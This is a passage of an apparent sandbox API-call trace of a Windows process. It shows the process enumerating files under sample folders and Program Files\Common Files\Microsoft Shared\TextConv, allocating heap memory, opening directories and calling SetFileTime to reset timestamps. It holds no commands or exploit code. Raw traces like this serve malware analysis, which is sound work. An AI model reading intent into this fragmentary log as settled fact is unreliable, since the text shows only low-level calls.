dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0240.612] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0240.613] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0240.613] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0240.613] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0240.613] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0240.613] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0240.613] GetLastError () returned 0x12 [0240.613] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.613] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0240.614] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0240.614] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0240.614] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0240.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0240.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0240.614] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0240.614] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9110c0 [0240.614] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9110c0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9110c0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0240.614] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9110c0) returned 1 [0240.614] NtClose (Handle=0x1bc) returned 0x0 [0240.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0240.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0240.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.615] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0240.615] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.615] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0240.615] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0240.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.615] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0240.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0240.615] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e1e8 [0240.615] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90fb90 [0240.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.616] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e208 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90fc98 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x600) returned 0x9110c0 [0240.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x910af8) returned 1 [0240.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.616] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e228 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90fda0 [0240.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.616] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.616] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.616] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.617] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x90e248 [0240.617] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90fea8 [0240.617] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.617] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0240.617] GetLastError () returned 0x12 [0240.617] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0240.617] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0240.617] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.617] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0240.617] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.617] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, 